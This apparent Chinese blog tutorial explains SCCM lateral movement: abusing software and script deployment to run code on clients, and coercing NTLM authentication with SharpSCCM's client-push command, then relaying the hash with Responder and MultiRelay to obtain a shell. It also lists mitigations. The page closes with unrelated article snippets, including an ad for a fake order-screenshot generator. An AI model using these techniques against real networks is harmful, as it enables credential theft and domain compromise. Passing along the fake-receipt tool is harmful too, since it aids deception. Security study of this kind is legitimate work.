利用SCCM进行横向移动
01SCCM介绍
SCCM全名为System Center Configuration Manager,从版本1910开始,微软官方将其从Microsoft System
Center产品移除,重新命名为Microsoft Endpoint Configuration Manager(ConfigMgr),其可帮助 IT
部门管理电脑和服务器,保持软件的最新状态,设置配置和安全策略,并监控系统状态,同时让员工能够访问所选设备上的公司应用程序。
##02SCCM安装
SCCM下载:https://www.microsoft.com/zh-cn/evalcenter/evaluate-microsoft-endpoint-
configuration-manager
SCCM安装先决条件* SQLSERVER2012以上* 必须为域内服务器主机,SQLSERVER服务必须使用域内账户管理(普通域用户)* Windows ADK安装:https://docs.microsoft.com/zh-cn/windows-hardware/getstarted/adk-install#other-adk-downloads* 需修改SQLSERVER实例排序规则为SQL_Latin1_General_CP1_CI_AS,修改方法如下暂停SQLSERVER服务cd C:\Program Files\Microsoft SQL Server\110\Setup Bootstrap\SQLServer2012Setup /QUIET /ACTION=REBUILDDATABASE /instancename=mssqlserver /SQLSYSADMINACCOUNTS=PENTEST\administrator /sapwd= /sqlcollation=SQL_Latin1_General_CP1_CI_AS重启SQLSERVER服务* 15G以上的存储空间* 服务器需要安装Remote Differential Compression服务
##03SCCM攻击利用
对于SCCM攻击利用首先查看目标环境是否存在,可以从目标机器中查看是否存在CcmExec.exe程序和ConfigMgr任务序列代理服务,如果存在即目标机器为SCCM的客户端机器,目标环境存在SCCM管理站点。
通过使用SCCM推送恶意文件
利用SCCM软件分发功能,如果攻击者控制了管理站点就可以向客户端进行‘软件分发推送恶意文件。
从软件库中创建powershell脚本执行calc.exe。
创建如下,审批状态是已批准,只有已批准的软件或者脚本才可以下发客户端使用。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zqCJuyKC-1691676828077)(https://image.3001.net/images/20221102/1667379331_63623083aa9626b1265ad.png!small?1667379332344)]
默认情况下脚本创建作者是不可以审批自己的脚本,如果获取的是平台的完全权限管理员是可以从站点配置中进行修改,使自己审批自己创建的脚本。
通过在站点处层次结构设置中进行修改,取消勾选脚本编写者需要其他脚本审批者,这时在站点中就可以自己批准自己脚本。
通过客户端进行下发成功执行powershell脚本,在客户端机器中执行win32calc.exe。
通过SCCM强制进行NTLM认证
在客户端机器中使用SharpSCCM查询本地站点信息SharpSCCM.exe local siteinfo
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-deH7ceoS-1691676828078)(https://image.3001.net/images/20221102/1667381310_6362383e32c5863ab572c.png!small?1667381310584)]
MSSQL.pentest.com是管理站点地址,XOR是站点代码。
其原理是从wmi命名空间root\ccm去查询客户端注册相关信息,我们可以通过系统提供wbemtest(https://docs.microsoft.com/en-
us/mem/configmgr/develop/core/understand/introduction-to-
wbemtest)连接命名空间root\ccm枚举其中的类。
通过配置我们知道在环境中SCCM要对某个机器下发客户端安装需要通过WMI远程管理,使用配置的账户连接到目标主机的ADMIN$共享,这个配置账号必定是本地管理员组或者是Domain
Admins组用户才能在工作组或域环境中对目标机器进行连接下发安装。就如下图,在站点MSSQL.pentest.com中客户端安装设置中的客户端请求安装属性账户必须是目标计算机上本地管理员组成员。
知道了上面这点,围绕获取这个配置账户的权限又有了如下攻击利用方式,SharpSCCM作者Mayyhem发现当SCCM启用自动站点分配和自动客户端推送安装,并且客户端身份验证不需要PKI证书时,可以将NTLM身份验证从管理点的安装和计算机账户强制转换为任意NetBIOS名称、FQDN或IP地址,允许凭据转发或破解,并且可以在任何Windows
SCCM客户端上的低权限用户来完成。
也就是说通过SCCM进行强制NTLM验证有以下四个条件:* 必须启用边界组的自动站点分配、自动站点范围客户端请求安装和允许连接回退到NTLM(默认开启的)
客户端推送安装属性设置:
建立边界组并勾选将此边界组用于站点分配:
* 目标管理点必须能够通过445端口上的SMB访问或者启用WebClient通过任何端口的HTTP访问* PKI证书不能要求客户端对管理点进行身份验证,才能以低权限用户身份执行此攻击
通信安全设置:
* 目标机器上没有SCCM客户端存留
SharpSCCM使用SCCM客户端附带客户端消息传递SDK向管理点发送新设备注册请求,表明客户端未安装在指定的NetBIOS名称、FQDN或IP地址上,如果满足上述四个条件,管理站点将启动客户端推送安装,并使用配置账户与目标机器连接。
SharpSCCM使用推送命令如下,在站点中创建192.168.245.151机器:SharpSCCM.exe MSSQL.pentest.com XOR invoke client-push -t 192.168.245.151
此时在管理站点中就会发现创建了192.168.245.151机器
在151这台机器中使用responder(在配置文件中关闭SMB和HTTP接收开关)和MultiRelay设置中继服务器,并中继到133这台机器上
smb中继条件: SMB签名是关闭的python MultiRelay.py -t 192.168.245.133 -u ALLresponder -I eth0 -rPv
在使用SharpSCCM推送安装后151主机接收到NTLMv2 hash并中继给了133主机,133主机接收到中继的PENTEST\secadmin
NTLMv2 hash后弹回shell
如何防止SCCM强制进行NTLM认证这种攻击:* 禁用“允许连接回退到NTLM”客户端推送安装设置* 使用基于软件更新的客户端安装(https://docs.microsoft.com/en-us/mem/configmgr/core/clients/deploy/deploy-clients-to-windows-computers),而不是自动全站点客户端推送安装* 需要SMB签名,以防止中继凭据被用于向其他系统进行身份验证* 切勿使用高权限组的成员(域管理员)进行客户端推送安装,相反为此专门为每个站点创建一个没有交互式登录权限的账户,并将其添加到本地管理员组,做到对此账户的监控* 有条件的情况下设置PKI证书进行客户端的身份验证
最后
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。
因篇幅有限,仅展示部分资料,有需要的小伙伴,可以【扫下方二维码】免费领取:
相关文章:

利用SCCM进行横向移动
01SCCM介绍 SCCM全名为System Center Configuration Manager,从版本1910开始,微软官方将其从Microsoft System Center产品移除,重新命名为Microsoft Endpoint Configuration Manager(ConfigMgr),其可帮助 …...

Nginx 负载均衡
Nginx 负载均衡 负载均衡由反向代理来实现的 其中反向代理分为七层代理和四层代理,一般常用的是七层代理,接下来分别介绍一些 NGINX 七层代理 七层是最常用的反向代理方式,只能配置在Nginx配置文件的http模块。 配置方法名称:…...

Java课题笔记~ ServletConfig
概念:代表整个web应用,可以和程序的容器(服务器)来通信 <?xml version"1.0" encoding"UTF-8"?> <web-app xmlns"http://java.sun.com/xml/ns/javaee"xmlns:xsi"http://www.w3.org/2001/XMLSchema-instan…...
oracle的异常处理
oracle提供了预定义例外、非预定义例外和自定义例外三种类型。其中: l预定义例外用于处理常见的oracle错误; l非预定义例外用于处理预定义所不能处理的oracle错误; l自定义例外处理与oracle错误无关的其他情况。 Oracle代码编写过程中&am…...

【MySQL】MySQL数据类型
文章目录 一、数据类型的分类二、tinyint类型2.1 创建有符号数值2.2 创建无符号数值 三、bit类型三、浮点类型3.1 float3.2 decimal类型 四、字符串类型4.1 char类型4.2 varchar类型 五、日期和时间类型六、枚举和集合类型6.1 enum的枚举值和set的位图结构6.2 查询集合find_in_…...

【数据结构与算法】十大经典排序算法-希尔排序
🌟个人博客:www.hellocode.top 🏰Java知识导航:Java-Navigate 🔥CSDN:HelloCode. 🌞知乎:HelloCode 🌴掘金:HelloCode ⚡如有问题,欢迎指正&#…...
docker 常用命令
1. 搜索并下载镜像 docker search bundlefusion # 搜索docker pull jhljx/bundlefusion # 将远程仓库文件下载到本地2. 用镜像创建容器 docker run -it --namebundlefusion colec777/bundlefusion-cu11.4-cudagl:v8 /bin/bash # 创建并运行 exit # 退出终端 sudo docker cont…...

uniapp微信小程序中打开腾讯地图获取用户位置信息
实现的效果 第一步:首先登录微信公众平台 , 需要用到AppID 第二步: 注册登录腾讯位置服务 注册需要手机号和邮箱确认,然后创建应用 创建后点击添加key 添加后会生成key,后面会用到这个key 第三步: 登录微信公众平台&a…...

嵌入式领域:人才供需失衡,发展潜力巨大
嵌入式技术正快速发展,ARM处理器、嵌入式操作系统、LINUX等技术助力嵌入式领域崛起。然而,行业新颖且门槛高,缺乏专业指导。因此,嵌入式人才稀缺,身价水涨船高。 未来几年,嵌入式系统将在信息化、智能化、…...

python 书籍
python高手进阶之路 10册 QQ:417398600...
Debian纯净系统安装php常用扩展和程序
适用于 php-fpm debian容器 mysql扩展 docker-php-ext-install pdo_mysql docker-php-ext-install mysqliredis扩展 pecl install redis docker-php-ext-enable redis# pecl无法装就: docker-php-source extract # 创建并初始化 /usr/src/php目录(扩展…...

vue+element中如何设置单个el-date-picker开始时间和结束时间关联
功能:选了开始时间,则结束时间只能选择开始时间之后的;选了结束时间,则开始时间只能选择结束时间之前的 重点是picker-options属性 图示: 代码展示: // body 内部<el-form-item><el-date-pickerv-model&qu…...
二次封装ajax和axios
ajax app.config.globalProperties.$http function(url, method, data, async, fun) {$.ajax({url: baseUrl url, //请求地址type: method, //请求方式dataType: json, //数据类型contentType: "application/json",xhrFields: { //跨域设置withCredentials: t…...

Android进阶之SeekBar动态显示进度
SeekBar 在开发中并不陌生,默认的SeekBar是不显示进度的,当然用吐司或者文案在旁边实时显示也是可以的,那能不能移动的时候才显示,默认不显示呢,当然网上花哨的三方工具类太多了,但是我只是单纯的想在SeekBar的基础上去添加一个可以跟随移动显示的气泡而…...

企业计算机服务器中了locked勒索病毒怎么办,如何预防勒索病毒攻击
计算机服务器是企业的关键信息基础设备,随着计算机技术的不断发展,企业的计算机服务器也成为了众多勒索者的攻击目标,勒索病毒成为当下计算机服务器的主要攻击目标。近期,我们收到很多企业的求助,企业的服务器被locked…...

大麦订单截图 一键生成订单截图
新版付款图样式展示 这个样式图就是在大麦刚付款完的一个订单截图,它的状态是等待卖家发货 下滑下载源码 下载源码:https://pan.baidu.com/s/16lN3gvRIZm7pqhvVMYYecQ?pwd6zw3...

LLaMA长度外推高性价比trick:线性插值法及相关改进源码阅读及相关记录
前言 最近,开源了可商用的llama2,支持长度相比llama1的1024,拓展到了4096长度,然而,相比GPT-4、Claude-2等支持的长度,llama的长度外推显得尤为重要,本文记录了三种网络开源的RoPE改进方式及相…...

中国信息安全测评中心CISP家族认证一览
随着国家对网络安全的重视,中国信息安全测评中心根据国家政策、未来趋势、重点内容陆续增添了很多CISP细分认证。 今日份详细介绍,部分CISP及其子品牌相关认证内容,一定要收藏哟! 校园版CISP NISP国家信息安全水平考试ÿ…...
牛客网【面试必刷TOP101】~ 06 递归/回溯
牛客网【面试必刷TOP101】~ 06 递归/回溯 文章目录 牛客网【面试必刷TOP101】~ 06 递归/回溯[toc]BM55 没有重复项数字的全排列(★★)BM56 有重复项数字的全排列(★★)BM57 岛屿数量(★★)BM58 字符串的排列(★★)BM59 N皇后问题(★★★)BM60 括号生成(★★)BM61 矩阵最长递增路…...

ArcGIS Pro基础:【划分】工具实现等比例、等面积、等宽度划分图形操作
本次介绍【划分】工具的使用,如下所示,为该工具所处位置。使用该工具可以实现对某个图斑的等比例面积划分、相等面积划分和相等宽度划分。 【等比例面积】:其操作如下所示,其中: 1表示先选中待处理的图斑,2…...
RestClient
什么是RestClient RestClient 是 Elasticsearch 官方提供的 Java 低级 REST 客户端,它允许HTTP与Elasticsearch 集群通信,而无需处理 JSON 序列化/反序列化等底层细节。它是 Elasticsearch Java API 客户端的基础。 RestClient 主要特点 轻量级ÿ…...

【大模型RAG】拍照搜题技术架构速览:三层管道、两级检索、兜底大模型
摘要 拍照搜题系统采用“三层管道(多模态 OCR → 语义检索 → 答案渲染)、两级检索(倒排 BM25 向量 HNSW)并以大语言模型兜底”的整体框架: 多模态 OCR 层 将题目图片经过超分、去噪、倾斜校正后,分别用…...
uni-app学习笔记二十二---使用vite.config.js全局导入常用依赖
在前面的练习中,每个页面需要使用ref,onShow等生命周期钩子函数时都需要像下面这样导入 import {onMounted, ref} from "vue" 如果不想每个页面都导入,需要使用node.js命令npm安装unplugin-auto-import npm install unplugin-au…...

(二)TensorRT-LLM | 模型导出(v0.20.0rc3)
0. 概述 上一节 对安装和使用有个基本介绍。根据这个 issue 的描述,后续 TensorRT-LLM 团队可能更专注于更新和维护 pytorch backend。但 tensorrt backend 作为先前一直开发的工作,其中包含了大量可以学习的地方。本文主要看看它导出模型的部分&#x…...
JVM垃圾回收机制全解析
Java虚拟机(JVM)中的垃圾收集器(Garbage Collector,简称GC)是用于自动管理内存的机制。它负责识别和清除不再被程序使用的对象,从而释放内存空间,避免内存泄漏和内存溢出等问题。垃圾收集器在Ja…...

定时器任务——若依源码分析
分析util包下面的工具类schedule utils: ScheduleUtils 是若依中用于与 Quartz 框架交互的工具类,封装了定时任务的 创建、更新、暂停、删除等核心逻辑。 createScheduleJob createScheduleJob 用于将任务注册到 Quartz,先构建任务的 JobD…...

Mac软件卸载指南,简单易懂!
刚和Adobe分手,它却总在Library里给你写"回忆录"?卸载的Final Cut Pro像电子幽灵般阴魂不散?总是会有残留文件,别慌!这份Mac软件卸载指南,将用最硬核的方式教你"数字分手术"࿰…...

现代密码学 | 椭圆曲线密码学—附py代码
Elliptic Curve Cryptography 椭圆曲线密码学(ECC)是一种基于有限域上椭圆曲线数学特性的公钥加密技术。其核心原理涉及椭圆曲线的代数性质、离散对数问题以及有限域上的运算。 椭圆曲线密码学是多种数字签名算法的基础,例如椭圆曲线数字签…...

(转)什么是DockerCompose?它有什么作用?
一、什么是DockerCompose? DockerCompose可以基于Compose文件帮我们快速的部署分布式应用,而无需手动一个个创建和运行容器。 Compose文件是一个文本文件,通过指令定义集群中的每个容器如何运行。 DockerCompose就是把DockerFile转换成指令去运行。 …...
是否存在路径(FIFOBB算法)
题目描述 一个具有 n 个顶点e条边的无向图,该图顶点的编号依次为0到n-1且不存在顶点与自身相连的边。请使用FIFOBB算法编写程序,确定是否存在从顶点 source到顶点 destination的路径。 输入 第一行两个整数,分别表示n 和 e 的值(1…...